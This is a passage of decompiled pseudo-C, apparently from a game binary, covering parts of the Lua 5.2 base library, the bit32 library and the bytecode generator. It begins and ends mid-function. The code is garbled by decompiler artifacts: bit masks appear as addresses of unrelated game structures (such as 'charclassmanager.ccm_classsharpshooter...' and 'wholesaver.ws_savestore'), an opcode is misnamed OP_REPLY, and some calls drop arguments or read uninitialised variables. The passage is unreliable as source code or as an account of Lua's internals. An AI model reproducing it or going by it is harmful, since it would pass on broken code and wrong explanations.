3; } return result; } //----- (005AE3F0) -------------------------------------------------------- int __cdecl ipairsaux(lua_State *L) { int v1; // edi@1 v1 = luaL_checkinteger(L, 2); luaL_checktype(L, 1, 5); ++v1; lua_pushinteger(L, v1); lua_rawgeti(L, 1, v1); return (lua_type(L, -1) != 0) + 1; } //----- (005AE440) -------------------------------------------------------- int __cdecl luaB_ipairs(lua_State *L) { int result; // eax@2 if ( luaL_getmetafield(L, 1, "__ipairs") ) { lua_pushvalue(L, 1); lua_callk(L, 1, 3, 0, 0); result = 3; } else { luaL_checktype(L, 1, 5); lua_pushcclosure(L, ipairsaux, 0); lua_pushvalue(L, 1); lua_pushinteger(L, 0); result = 3; } return result; } //----- (005AE4B0) -------------------------------------------------------- int __cdecl luaB_loadfile(lua_State *L) { const char *v1; // edi@1 const char *v2; // ebx@1 int v3; // ebp@1 int result; // eax@4 v1 = luaL_optlstring(L, 1, 0, 0); v2 = luaL_optlstring(L, 2, 0, 0); v3 = lua_type(L, 3) != -1; if ( luaL_loadfilex(L, v1, v2) ) { lua_pushnil(L); lua_insert(L, -2); result = 2; } else { if ( v3 ) { lua_pushvalue(L, 3); lua_setupvalue(L, -2, 1); } result = 1; } return result; } //----- (005AE540) -------------------------------------------------------- const char *__cdecl generic_reader(lua_State *L, void *ud, unsigned int *size) { const char *result; // eax@2 luaL_checkstack(L, 2, "too many nested functions"); lua_pushvalue(L, 1); lua_callk(L, 0, 1, 0, 0); if ( lua_type(L, -1) ) { if ( !lua_isstring(L, -1) ) luaL_error(L, "reader function must return a string"); lua_replace(L, 5); result = lua_tolstring(L, 5, size); } else { lua_settop(L, -2); *size = 0; result = 0; } return result; } //----- (005AE5D0) -------------------------------------------------------- int __cdecl luaB_load(lua_State *L) { int v1; // ebp@1 const char *v2; // edi@1 const char *v3; // ebx@1 const char *v4; // eax@2 int v5; // eax@2 const char *v6; // edi@3 int result; // eax@7 unsigned int l; // [sp+10h] [bp-4h]@1 v1 = lua_gettop(L); v2 = lua_tolstring(L, 1, &l); v3 = luaL_optlstring(L, 3, "bt", 0); if ( v2 ) { v4 = luaL_optlstring(L, 2, v2, 0); v5 = luaL_loadbufferx(L, v2, l, v4, v3); } else { v6 = luaL_optlstring(L, 2, "=(load)", 0); luaL_checktype(L, 1, 6); lua_settop(L, 5); v5 = lua_load(L, generic_reader, 0, v6, v3); } if ( v5 ) { lua_pushnil(L); lua_insert(L, -2); result = 2; } else { if ( v1 >= 4 ) { lua_pushvalue(L, 4); lua_setupvalue(L, -2, 1); } result = 1; } return result; } //----- (005AE6A0) -------------------------------------------------------- int __cdecl dofilecont(lua_State *L) { return lua_gettop(L) - 1; } //----- (005AE6B0) -------------------------------------------------------- int __cdecl luaB_dofile(lua_State *L) { const char *v1; // edi@1 v1 = luaL_optlstring(L, 1, 0, 0); lua_settop(L, 1); if ( luaL_loadfilex(L, v1, 0) ) lua_error(L); lua_callk(L, 0, -1, 0, dofilecont); return lua_gettop(L) - 1; } //----- (005AE710) -------------------------------------------------------- int __cdecl luaB_assert(lua_State *L) { if ( !lua_toboolean(L, 1) ) { luaL_optlstring(L, 2, "assertion failed!", 0); luaL_error(L, "%s"); } return lua_gettop(L); } //----- (005AE750) -------------------------------------------------------- int __cdecl luaB_select(lua_State *L) { int v1; // ebx@1 int result; // eax@3 int v3; // eax@4 int v4; // esi@4 v1 = lua_gettop(L); if ( lua_type(L, 1) != 4 || *lua_tolstring(L, 1, 0) != 35 ) { v3 = luaL_checkinteger(L, 1); v4 = v3; if ( v3 >= 0 ) { if ( v3 > v1 ) v4 = v1; } else { v4 = v1 + v3; } if ( v4 < 1 ) luaL_argerror(L, 1, "index out of range"); result = v1 - v4; } else { lua_pushinteger(L, v1 - 1); result = 1; } return result; } //----- (005AE7D0) -------------------------------------------------------- int __usercall finishpcall(lua_State *L, int status) { int result; // eax@2 if ( lua_checkstack(L, 1) ) { lua_pushboolean(L, status); lua_replace(L, 1); result = lua_gettop(L); } else { lua_settop(L, 0); lua_pushboolean(L, 0); lua_pushstring(L, "stack overflow"); result = 2; } return result; } //----- (005AE830) -------------------------------------------------------- int __cdecl pcallcont(lua_State *L) { int v1; // eax@1 v1 = lua_getctx(L, 0); return finishpcall(L, v1 == 1); } //----- (005AE850) -------------------------------------------------------- int __cdecl luaB_pcall(lua_State *L) { int v1; // eax@1 int v2; // eax@1 luaL_checkany(L, 1); lua_pushnil(L); lua_insert(L, 1); v1 = lua_gettop(L); v2 = lua_pcallk(L, v1 - 2, -1, 0, 0, pcallcont); return finishpcall(L, v2 == 0); } //----- (005AE8A0) -------------------------------------------------------- int __cdecl luaB_xpcall(lua_State *L) { int v1; // edi@1 int v2; // eax@3 v1 = lua_gettop(L); if ( v1 < 2 ) luaL_argerror(L, 2, "value expected"); lua_pushvalue(L, 1); lua_copy(L, 2, 1); lua_replace(L, 2); v2 = lua_pcallk(L, v1 - 2, -1, 1, 0, pcallcont); return finishpcall(L, v2 == 0); } //----- (005AE910) -------------------------------------------------------- int __cdecl luaB_tostring(lua_State *L) { luaL_checkany(L, 1); luaL_tolstring(L, 1, 0); return 1; } //----- (005AE940) -------------------------------------------------------- int __cdecl luaopen_base(lua_State *L) { lua_rawgeti(L, -1001000, 2); lua_rawgeti(L, -1001000, 2); lua_setfield(L, -2, "_G"); luaL_setfuncs(L, &base_funcs, 0); lua_pushlstring(L, "Lua 5.2", 7u); lua_setfield(L, -2, "_VERSION"); return 1; } //----- (005AE9A0) -------------------------------------------------------- unsigned int __cdecl andaux(lua_State *L) { int v1; // edi@1 int v2; // esi@1 unsigned int i; // ebx@1 lua_State *v5; // [sp+0h] [bp-14h]@0 v1 = lua_gettop(v5); v2 = 1; for ( i = -1; v2 <= v1; ++v2 ) i &= luaL_checkunsigned(L, v2); return i; } //----- (005AE9E0) -------------------------------------------------------- int __cdecl b_and(lua_State *L) { unsigned int v1; // eax@1 v1 = andaux(L); lua_pushunsigned(L, v1); return 1; } //----- (005AEA00) -------------------------------------------------------- int __cdecl b_test(lua_State *L) { unsigned int v1; // eax@1 v1 = andaux(L); lua_pushboolean(L, v1 != 0); return 1; } //----- (005AEA30) -------------------------------------------------------- int __cdecl b_or(lua_State *L) { int v1; // edi@1 int v2; // esi@1 unsigned int i; // ebx@1 lua_State *v5; // [sp+0h] [bp-14h]@0 v1 = lua_gettop(v5); v2 = 1; for ( i = 0; v2 <= v1; ++v2 ) i |= luaL_checkunsigned(L, v2); lua_pushunsigned(L, i); return 1; } //----- (005AEA80) -------------------------------------------------------- int __cdecl b_xor(lua_State *L) { int v1; // edi@1 int v2; // esi@1 unsigned int i; // ebx@1 lua_State *v5; // [sp+0h] [bp-14h]@0 v1 = lua_gettop(v5); v2 = 1; for ( i = 0; v2 <= v1; ++v2 ) i ^= luaL_checkunsigned(L, v2); lua_pushunsigned(L, i); return 1; } //----- (005AEAD0) -------------------------------------------------------- int __cdecl b_not(lua_State *L) { unsigned int v1; // eax@1 v1 = luaL_checkunsigned(L, 1); lua_pushunsigned(L, ~v1); return 1; } //----- (005AEAF0) -------------------------------------------------------- int __usercall b_shift(unsigned int r, int i, lua_State *L) { int v3; // ecx@2 int result; // eax@3 if ( i >= 0 ) { if ( i >= 32 ) goto LABEL_3; lua_pushunsigned(L, r << i); result = 1; } else { v3 = -i; if ( v3 >= 32 ) { LABEL_3: lua_pushunsigned(L, 0); return 1; } lua_pushunsigned(L, r >> v3); result = 1; } return result; } //----- (005AEB50) -------------------------------------------------------- int __cdecl b_lshift(lua_State *L) { int v1; // edi@1 unsigned int v2; // eax@1 v1 = luaL_checkinteger(L, 2); v2 = luaL_checkunsigned(L, 1); return b_shift(L, v2, v1); } //----- (005AEB80) -------------------------------------------------------- int __cdecl b_rshift(lua_State *L) { int v1; // edi@1 unsigned int v2; // eax@1 v1 = -luaL_checkinteger(L, 2); v2 = luaL_checkunsigned(L, 1); return b_shift(L, v2, v1); } //----- (005AEBB0) -------------------------------------------------------- int __cdecl b_arshift(lua_State *L) { unsigned int v1; // esi@1 int v2; // eax@1 int result; // eax@4 v1 = luaL_checkunsigned(L, 1); v2 = luaL_checkinteger(L, 2); if ( v2 < 0 || (v1 & 0x80000000u) == 0 ) { result = b_shift(L, v1, -v2); } else { if ( v2 < 32 ) { lua_pushunsigned(L, ~(0xFFFFFFFFu >> v2) | (v1 >> v2)); result = 1; } else { lua_pushunsigned(L, 0xFFFFFFFFu); result = 1; } } return result; } //----- (005AEC20) -------------------------------------------------------- int __cdecl b_lrot(lua_State *L) { char v1; // si@1 unsigned int v2; // eax@1 v1 = luaL_checkinteger(L, 2); v2 = luaL_checkunsigned(L, 1); lua_pushunsigned(L, (v2 << (v1 & 0x1F)) | (v2 >> (32 - (v1 & 0x1F)))); return 1; } //----- (005AEC60) -------------------------------------------------------- int __cdecl b_rrot(lua_State *L) { int v1; // esi@1 unsigned int v2; // eax@1 v1 = -luaL_checkinteger(L, 2); v2 = luaL_checkunsigned(L, 1); lua_pushunsigned(L, (v2 << (v1 & 0x1F)) | (v2 >> (32 - (v1 & 0x1F)))); return 1; } //----- (005AECA0) -------------------------------------------------------- int __usercall fieldargs(lua_State *L, int farg, int *width) { int v3; // edi@1 int v4; // eax@1 lua_State *v6; // [sp+0h] [bp-14h]@0 int v7; // [sp+4h] [bp-10h]@0 v3 = luaL_checkinteger(v6, v7); v4 = luaL_optinteger(L, farg + 1, 1); if ( v3 < 0 ) luaL_argerror(L, farg, "field cannot be negative"); if ( v4 <= 0 ) luaL_argerror(L, farg + 1, "width must be positive"); if ( v3 + v4 > 32 ) luaL_error(L, "trying to access non-existent bits"); *width = v4; return v3; } //----- (005AED20) -------------------------------------------------------- int __cdecl b_extract(lua_State *L) { int v1; // ecx@0 unsigned int v2; // edi@1 char v3; // al@1 int w; // [sp+0h] [bp-4h]@1 w = v1; v2 = luaL_checkunsigned(L, 1); v3 = fieldargs(L, 2, &w); lua_pushunsigned(L, (v2 >> v3) & ~(-2 << (w - 1))); return 1; } //----- (005AED70) -------------------------------------------------------- int __cdecl b_replace(lua_State *L) { unsigned int v1; // edi@1 unsigned int v2; // ebp@1 char v3; // al@1 int w; // [sp+10h] [bp-4h]@1 v1 = luaL_checkunsigned(L, 1); v2 = luaL_checkunsigned(L, 2); v3 = fieldargs(L, 3, &w); lua_pushunsigned(L, ((v2 & ~(-2 << (w - 1))) << v3) | v1 & ~(~(-2 << (w - 1)) << v3)); return 1; } //----- (005AEDD0) -------------------------------------------------------- int __cdecl luaopen_bit32(lua_State *L) { lua_createtable(L, 0, 12); luaL_setfuncs(L, &bitlib, 0); return 1; } //----- (005AEE00) -------------------------------------------------------- void __usercall fixjump(FuncState *fs, int pc, int dest) { unsigned int *v3; // esi@1 int v4; // ecx@1 v3 = &fs->f->code[pc]; v4 = dest - pc - 1; if ( abs(v4) > 131071 ) luaX_syntaxerror(fs->ls, "control structure too long"); *v3 = *v3 & 0x3FFF ^ ((v4 + 131071) << 14); } //----- (005AEE40) -------------------------------------------------------- int __cdecl luaK_getlabel(FuncState *fs) { int result; // eax@1 result = fs->pc; fs->lasttarget = result; return result; } //----- (005AEE50) -------------------------------------------------------- int __usercall need_value(FuncState *fs, int list) { unsigned int *v2; // edi@2 int v3; // eax@3 int v4; // esi@4 int v5; // eax@7 int result; // eax@9 if ( list == -1 ) { LABEL_9: result = 0; } else { v2 = fs->f->code; while ( 1 ) { v3 = (int)&v2[list]; if ( list < 1 || (v4 = v3 - 4, !(luaP_opmodes[*(_DWORD *)(v3 - 4) & 0x3F] & 0x80)) ) v4 = (int)&v2[list]; if ( (*(_BYTE *)v4 & 0x3F) != 28 ) break; v5 = (*(_DWORD *)v3 >> 14) - 131071; if ( v5 != -1 ) { list += v5 + 1; if ( list != -1 ) continue; } goto LABEL_9; } result = 1; } return result; } //----- (005AEEB0) -------------------------------------------------------- int __usercall patchtestreg(FuncState *fs, int node, int reg) { unsigned int *v3; // edx@1 int v4; // esi@2 unsigned int v5; // eax@4 int result; // eax@5 v3 = &fs->f->code[node]; if ( node < 1 || (v4 = (int)(v3 - 1), luaP_opmodes[*(v3 - 1) & 0x3F] >= 0) ) v4 = (int)v3; v5 = *(_DWORD *)v4; if ( (*(_BYTE *)v4 & 0x3F) == 28 ) { if ( reg == 255 || reg == v5 >> 23 ) { *(_DWORD *)v4 = (unsigned int)&charclassmanager.ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[25].ort_HeaderList.orchl_fieldname[449] & v5 | ((v5 & 0xFFB7FFFF | 0x360000) >> 17); result = 1; } else { *(_DWORD *)v4 = v5 ^ ((unsigned __int16)v5 ^ (unsigned __int16)((_WORD)reg << 6)) & 0x3FC0; result = 1; } } else { result = 0; } return result; } //----- (005AEF30) -------------------------------------------------------- void __usercall removevalues(int list, FuncState *fs) { int i; // esi@1 unsigned int *v3; // eax@2 int v4; // ecx@3 unsigned int v5; // eax@7 for ( i = list; i != -1; i += v5 + 1 ) { v3 = &fs->f->code[i]; if ( i < 1 || (v4 = (int)(v3 - 1), !(luaP_opmodes[*(v3 - 1) & 0x3F] & 0x80)) ) v4 = (int)&fs->f->code[i]; if ( (*(_BYTE *)v4 & 0x3F) == 28 ) *(_DWORD *)v4 = (unsigned int)&charclassmanager.ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[25].ort_HeaderList.orchl_fieldname[449] & *(_DWORD *)v4 | ((*(_DWORD *)v4 & 0xFFB7FFFF | 0x360000u) >> 17); v5 = (fs->f->code[i] >> 14) - 131071; if ( v5 == -1 ) break; } } //----- (005AEFC0) -------------------------------------------------------- void __usercall patchlistaux(int list, FuncState *fs, int vtarget, int reg, int dtarget) { int v5; // esi@1 int v6; // ebx@2 unsigned int v7; // eax@2 int v8; // eax@5 unsigned int *v9; // edi@5 int v10; // edi@6 int v11; // ecx@6 int next; // [sp+8h] [bp-4h]@3 v5 = list; if ( list != -1 ) { do { v6 = v5; v7 = (fs->f->code[v5] >> 14) - 131071; if ( v7 == -1 ) next = -1; else next = v7 + v5 + 1; v8 = patchtestreg(fs, v5, reg); v9 = fs->f->code; if ( v8 ) { v10 = (int)&v9[v6]; v11 = vtarget - v5 - 1; if ( abs(vtarget - v5 - 1) > 131071 ) luaX_syntaxerror(fs->ls, "control structure too long"); } else { v10 = (int)&v9[v6]; v11 = dtarget - v5 - 1; if ( abs(dtarget - v5 - 1) > 131071 ) luaX_syntaxerror(fs->ls, "control structure too long"); } v5 = next; *(_DWORD *)v10 = *(_DWORD *)v10 & 0x3FFF ^ ((v11 + 131071) << 14); } while ( next != -1 ); } } //----- (005AF0A0) -------------------------------------------------------- void __cdecl luaK_patchclose(FuncState *fs, int list, int level) { int v3; // ecx@1 unsigned int v4; // eax@2 int v5; // edx@3 unsigned int *v6; // eax@5 v3 = list; if ( list != -1 ) { do { v4 = (fs->f->code[v3] >> 14) - 131071; if ( v4 == -1 ) v5 = -1; else v5 = v4 + v3 + 1; v6 = &fs->f->code[v3]; *v6 = ((unsigned __int8)(level + 1) << 6) | *v6 & 0xFFFFC03F; v3 = v5; } while ( v5 != -1 ); } } //----- (005AF100) -------------------------------------------------------- void __cdecl luaK_concat(FuncState *fs, int *l1, int l2) { int v3; // ecx@2 unsigned int v4; // edx@4 int v5; // edx@5 if ( l2 != -1 ) { v3 = *l1; if ( *l1 == -1 ) { *l1 = l2; } else { while ( 1 ) { v4 = (fs->f->code[v3] >> 14) - 131071; if ( v4 == -1 ) break; v5 = v4 + v3 + 1; if ( v5 == -1 ) break; v3 = v5; } fixjump(fs, v3, l2); } } } //----- (005AF150) -------------------------------------------------------- int __usercall luaK_code(FuncState *fs, unsigned int i) { Proto *v2; // edi@1 int v3; // ecx@1 int result; // eax@5 v2 = fs->f; patchlistaux(fs, fs->jpc, fs->pc, 255, fs->pc); v3 = fs->pc; fs->jpc = -1; if ( v3 + 1 > v2->sizecode ) v2->code = (unsigned int *)luaM_growaux_(fs->ls->L, v2->code, &v2->sizecode, 4u, 2147483645, "opcodes"); v2->code[fs->pc] = i; if ( fs->pc + 1 > v2->sizelineinfo ) v2->lineinfo = (int *)luaM_growaux_(fs->ls->L, v2->lineinfo, &v2->sizelineinfo, 4u, 2147483645, "opcodes"); v2->lineinfo[fs->pc] = fs->ls->lastline; result = fs->pc; fs->pc = result + 1; return result; } //----- (005AF200) -------------------------------------------------------- int __cdecl luaK_codeABC(FuncState *fs, OpCode o, int a, int b, int c) { return luaK_code(fs, o | ((a | ((c | (b << 9)) << 8)) << 6)); } //----- (005AF230) -------------------------------------------------------- int __cdecl luaK_codeABx(FuncState *fs, OpCode o, int a, unsigned int bc) { return luaK_code(fs, o | ((a | (bc << 8)) << 6)); } //----- (005AF260) -------------------------------------------------------- int __cdecl luaK_codek(FuncState *fs, int reg, int k) { int result; // eax@2 int v4; // ebx@3 if ( k > 262143 ) { v4 = luaK_code(fs, (reg << 6) | 2); luaK_code(fs, (k << 6) | 0x27); result = v4; } else { result = luaK_code(fs, ((reg | (k << 8)) << 6) | 1); } return result; } //----- (005AF2C0) -------------------------------------------------------- void __cdecl luaK_checkstack(FuncState *fs, int n) { int v2; // eax@1 v2 = n + fs->freereg; if ( v2 > fs->f->maxstacksize ) { if ( v2 >= 250 ) luaX_syntaxerror(fs->ls, "function or expression too complex"); fs->f->maxstacksize = v2; } } //----- (005AF300) -------------------------------------------------------- void __cdecl luaK_reserveregs(FuncState *fs, int n) { int v2; // eax@1 v2 = n + fs->freereg; if ( v2 > fs->f->maxstacksize ) { if ( v2 >= 250 ) luaX_syntaxerror(fs->ls, "function or expression too complex"); fs->f->maxstacksize = v2; } fs->freereg += n; } //----- (005AF340) -------------------------------------------------------- void __usercall freeexp(FuncState *fs, expdesc *e) { signed int v2; // eax@2 if ( e->k == 6 ) { v2 = *(_DWORD *)&e->u.ind.idx; if ( !(BYTE1(v2) & 1) ) { if ( v2 >= fs->nactvar ) --fs->freereg; } } } //----- (005AF360) -------------------------------------------------------- int __usercall addk(lua_TValue *key, FuncState *fs, lua_TValue *v) { FuncState *v3; // ebp@1 lua_TValue *v4; // eax@1 Proto *v5; // esi@1 lua_TValue *v6; // ecx@1 int v7; // edi@2 int v8; // eax@3 int result; // eax@8 int v10; // ebx@8 int v11; // edi@8 int v12; // edx@12 lua_State *L; // [sp+10h] [bp-10h]@1 lua_TValue *idx; // [sp+14h] [bp-Ch]@1 int v15; // [sp+24h] [bp+4h]@2 v3 = fs; L = fs->ls->L; v4 = luaH_set(L, fs->h, key); v5 = fs->f; v6 = v4; idx = v4; if ( (v4->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) { v15 = (signed int)*(double *)&v4->u.i.v__.gc; v7 = (int)&v5->k[v15]; v8 = (*(_DWORD *)(v7 + 4) & 0x7FFFFF00) == 2146936064 ? (unsigned __int8)(*(_DWORD *)(v7 + 4) == v->u.i.tt__) : (unsigned __int8)((v->u.i.tt__ & 0x7FFFFF00) != 2146936064); if ( v8 ) { if ( luaV_equalobj_(0, (lua_TValue *)v7, v) ) return v15; v6 = idx; } } v10 = v5->sizek; v15 = v3->nk; result = v15; v11 = (int)&v5->sizek; *(double *)&v6->u.i.v__.gc = (double)v15; if ( v15 + 1 > v5->sizek ) { v5->k = (lua_TValue *)luaM_growaux_( L, v5->k, &v5->sizek, 8u, (int)&wholesaver.ws_savestore[688].esc_abstate.buffer[11071], "constants"); result = v15; } for ( ; v10 < *(_DWORD *)v11; ++v10 ) v5->k[v10].u.i.tt__ = 2146936064; *(_QWORD *)&v5->k[result].u.i.v__.gc = *(_QWORD *)&v->u.i.v__.gc; ++v3->nk; v12 = v->u.i.tt__; if ( (v12 & 0x7FFFFF00) != 2146936064 ) LOBYTE(v12) = 3; if ( v12 & 0x40 && v->u.i.v__.gc->gch.marked & 3 && v5->marked & 4 ) { luaC_barrier_(L, (GCObject *)&v5->next, v->u.i.v__.gc); return v15; } return result; } //----- (005AF4E0) -------------------------------------------------------- int __cdecl luaK_stringK(FuncState *fs, TString *s) { TString *o; // [sp+0h] [bp-8h]@1 int v4; // [sp+4h] [bp-4h]@1 o = s; v4 = BYTE4(s->dummy.u) | 0x7FF7A540; return addk(fs, (lua_TValue *)&o, (lua_TValue *)&o); } //----- (005AF510) -------------------------------------------------------- int __cdecl luaK_numberK(FuncState *fs, long double r) { lua_State *v2; // esi@1 int result; // eax@3 lua_TValue *v4; // edi@4 TString *v5; // eax@4 int v6; // edi@4 int v7; // ecx@4 lua_TValue o; // [sp+0h] [bp-8h]@1 v2 = fs->ls->L; *(double *)&o.u.i.v__.gc = r; if ( r == 0.0 || r != r ) { v4 = v2->top; v5 = luaS_newlstr(v2, (const char *)&r, 8u); v4->u.i.v__.gc = (GCObject *)v5; v4->u.i.tt__ = BYTE4(v5->dummy.u) | 0x7FF7A540; v6 = (int)&v2->top[1]; v7 = (int)((char *)v2->stack_last - v6); v2->top = (lua_TValue *)v6; if ( (v7 & 0xFFFFFFF8) <= 0 ) luaD_growstack(v2, 0); result = addk(fs, v2->top - 1, &o); --v2->top; } else { result = addk(fs, &o, &o); } return result; } //----- (005AF5D0) -------------------------------------------------------- int __usercall nilK(FuncState *fs) { Table *k; // [sp+0h] [bp-10h]@1 int v3; // [sp+4h] [bp-Ch]@1 char v; // [sp+8h] [bp-8h]@1 int v5; // [sp+Ch] [bp-4h]@1 k = fs->h; v5 = 2146936064; v3 = 2146936133; return addk(fs, (lua_TValue *)&k, (lua_TValue *)&v); } //----- (005AF600) -------------------------------------------------------- void __cdecl luaK_setreturns(FuncState *fs, expdesc *e, int nresults) { if ( e->k == 12 ) { fs->f->code[*(_DWORD *)&e->u.ind.idx] ^= (unsigned int)&charclassmanager.ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[25].ort_HeaderList.orchl_fieldname[449] & (fs->f->code[*(_DWORD *)&e->u.ind.idx] ^ ((nresults + 1) << 14)); } else { if ( e->k == 13 ) { fs->f->code[*(_DWORD *)&e->u.ind.idx] = (unsigned int)((char *)&charclassmanager.ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[1].ort_HeaderList.orchl_fieldname[91] + 3) & fs->f->code[*(_DWORD *)&e->u.ind.idx] ^ ((nresults + 1) << 23); fs->f->code[*(_DWORD *)&e->u.ind.idx] = fs->f->code[*(_DWORD *)&e->u.ind.idx] & 0xFFFFC03F | (fs->freereg << 6); luaK_reserveregs(fs, 1); } } } //----- (005AF690) -------------------------------------------------------- void __cdecl luaK_setoneret(FuncState *fs, expdesc *e) { int v2; // ecx@2 unsigned int *v3; // ecx@4 if ( e->k == 12 ) { v2 = *(_DWORD *)&e->u.ind.idx; e->k = 6; *(_DWORD *)&e->u.ind.idx = (fs->f->code[v2] >> 6) & 0xFF; } else { if ( e->k == 13 ) { v3 = &fs->f->code[*(_DWORD *)&e->u.ind.idx]; *v3 = (unsigned int)&wholesaver.ws_savestore[89].gap119c8[4864] | (unsigned int)((char *)&charclassmanager.ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[1].ort_HeaderList.orchl_fieldname[91] + 3) & *v3; e->k = 11; } } } //----- (005AF6F0) -------------------------------------------------------- void __cdecl luaK_dischargevars(FuncState *fs, expdesc *e) { signed int v2; // eax@4 OpCode v3; // ecx@4 signed int v4; // eax@8 switch ( e->k ) { case 7: e->k = 6; break; case 8: *(_DWORD *)&e->u.ind.idx = luaK_code(fs, (*(_DWORD *)&e->u.ind.idx << 23) | 5); e->k = 11; break; case 9: v2 = e->u.ind.idx; v3 = 6; if ( !(BYTE1(v2) & 1) && v2 >= fs->nactvar ) --fs->freereg; if ( e->u.ind.vt == 7 ) { v4 = e->u.ind.t; if ( !(BYTE1(v4) & 1) ) { if ( v4 >= fs->nactvar ) --fs->freereg; } v3 = 7; } *(_DWORD *)&e->u.ind.idx = luaK_codeABC(fs, v3, 0, e->u.ind.t, e->u.ind.idx); e->k = 11; break; case 0xC: case 0xD: luaK_setoneret(fs, e); break; default: return; } } //----- (005AF7D0) -------------------------------------------------------- void __usercall invertjump(FuncState *fs, expdesc *e) { signed int v2; // eax@1 unsigned int *v3; // ecx@1 v2 = *(_DWORD *)&e->u.ind.idx; v3 = &fs->f->code[v2]; if ( v2 >= 1 && luaP_opmodes[*(v3 - 1) & 0x3F] < 0 ) --v3; *v3 ^= ((unsigned __int16)*v3 ^ (unsigned __int16)(((*v3 & 0x3FC0) == 0) << 6)) & 0x3FC0; } //----- (005AF820) -------------------------------------------------------- int __usercall constfolding(OpCode op, expdesc *e1, expdesc *e2) { int result; // eax@10 if ( e1->k != 5 || e1->t != -1 || e1->f != -1 || e2->k != 5 || e2->t != -1 || e2->f != -1 || (op == 16 || op == 17) && *(double *)&e2->u.ind.idx == 0.0 ) { result = 0; } else { *(long double *)&e1->u.ind.idx = luaO_arith(op - 13, *(double *)&e1->u.ind.idx, *(double *)&e2->u.ind.idx); result = 1; } return result; } //----- (005AF890) -------------------------------------------------------- void __cdecl luaK_fixline(FuncState *fs, int line) { fs->f->lineinfo[fs->pc - 1] = line; } //----- (005AF8B0) -------------------------------------------------------- void __cdecl luaK_setlist(FuncState *fs, int base, int nelems, int tostore) { int v4; // edi@1 int v5; // eax@1 v4 = (nelems - 1) / 50 + 1; v5 = ((tostore == -1) - 1) & tostore; if ( v4 > 511 ) { if ( v4 > (signed int)&wholesaver.ws_savestore[688].esc_abstate.buffer[11071] ) luaX_syntaxerror(fs->ls, "constructor too long"); luaK_code(fs, ((base | (v5 << 17)) << 6) | 0x24); luaK_code(fs, (v4 << 6) | 0x27); fs->freereg = base + 1; } else { luaK_code(fs, ((base | ((v4 | (v5 << 9)) << 8)) << 6) | 0x24); fs->freereg = base + 1; } } //----- (005AF960) -------------------------------------------------------- void __cdecl luaK_nil(FuncState *fs, int from, int n) { int v3; // eax@1 int v4; // edi@1 int v5; // ecx@1 unsigned int *v6; // ebp@2 unsigned int v7; // edx@2 int v8; // ecx@3 int v9; // edx@3 v3 = from; v4 = from + n - 1; v5 = fs->pc; if ( v5 <= fs->lasttarget || (v6 = &fs->f->code[v5 - 1], v7 = *v6, (*v6 & 0x3F) != 4) ) goto LABEL_12; v8 = (v7 >> 6) & 0xFF; v9 = v8 + (v7 >> 23); if ( from < v8 ) { LABEL_6: if ( v8 <= from + n ) goto LABEL_7; LABEL_12: luaK_code(fs, ((from | ((n - 1) << 17)) << 6) | 4); return; } if ( from > v9 + 1 ) { if ( from > v8 ) goto LABEL_12; goto LABEL_6; } LABEL_7: if ( v8 < from ) v3 = v8; if ( v9 > v4 ) v4 = v9; *v6 = (unsigned int)((char *)&charclassmanager.ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[25].ort_HeaderList.orchl_fieldname[464] + 3) & *v6 | ((unsigned __int8)v3 << 6) | ((v4 - v3) << 23) & 0xFF800000; } //----- (005AFA10) -------------------------------------------------------- int __cdecl luaK_jump(FuncState *fs) { FuncState *v1; // esi@1 int v2; // edi@1 v1 = fs; v2 = fs->jpc; fs->jpc = -1; fs = (FuncState *)luaK_code(v1, 0x7FFF8017u); luaK_concat(v1, (int *)&fs, v2); return (int)fs; } //----- (005AFA50) -------------------------------------------------------- void __cdecl luaK_ret(FuncState *fs, int first, int nret) { luaK_code(fs, (first << 6) | ((nret + 1) << 23) | 0x1F); } //----- (005AFA80) -------------------------------------------------------- int __usercall condjump(OpCode op, int A, int B, FuncState *fs, int C) { FuncState *v5; // esi@1 int v6; // edi@1 v5 = fs; luaK_code(fs, op | ((A | ((C | (B << 9)) << 8)) << 6)); v6 = v5->jpc; v5->jpc = -1; fs = (FuncState *)luaK_code(v5, 0x7FFF8017u); luaK_concat(v5, (int *)&fs, v6); return (int)fs; } //----- (005AFAD0) -------------------------------------------------------- void __cdecl luaK_patchtohere(FuncState *fs, int list) { fs->lasttarget = fs->pc; luaK_concat(fs, &fs->jpc, list); } //----- (005AFAF0) -------------------------------------------------------- void __usercall discharge2reg(FuncState *fs, expdesc *e, int reg) { int v3; // eax@5 unsigned int *v4; // eax@6 int v5; // eax@7 FuncState *v6; // [sp+0h] [bp-8h]@0 expdesc *v7; // [sp+4h] [bp-4h]@0 luaK_dischargevars(v6, v7); switch ( e->k ) { case 1: luaK_nil(fs, reg, 1); *(_DWORD *)&e->u.ind.idx = reg; e->k = 6; break; case 2: case 3: luaK_codeABC(fs, OP_REPLY, reg, e->k == 2, 0); *(_DWORD *)&e->u.ind.idx = reg; e->k = 6; break; case 4: luaK_codek(fs, reg, *(_DWORD *)&e->u.ind.idx); *(_DWORD *)&e->u.ind.idx = reg; e->k = 6; break; case 5: v3 = luaK_numberK(fs, *(double *)&e->u.ind.idx); luaK_codek(fs, reg, v3); *(_DWORD *)&e->u.ind.idx = reg; e->k = 6; break; case 0xB: v4 = &fs->f->code[*(_DWORD *)&e->u.ind.idx]; *v4 ^= ((unsigned __int16)*v4 ^ (unsigned __int16)((_WORD)reg << 6)) & 0x3FC0; *(_DWORD *)&e->u.ind.idx = reg; e->k = 6; break; case 6: v5 = *(_DWORD *)&e->u.ind.idx; if ( reg != v5 ) luaK_codeABC(fs, 0, reg, v5, 0); *(_DWORD *)&e->u.ind.idx = reg; e->k = 6; break; default: return; } } //----- (005AFC00) -------------------------------------------------------- void __usercall discharge2anyreg(FuncState *fs, expdesc *e) { expdesc *v2; // ebx@1 FuncState *v3; // esi@1 Proto *v4; // ecx@2 int v5; // eax@2 char v6; // cl@6 v2 = e; v3 = fs; if ( e->k != 6 ) { v4 = fs->f; v5 = v3->freereg + 1; if ( v5 > v3->f->maxstacksize ) 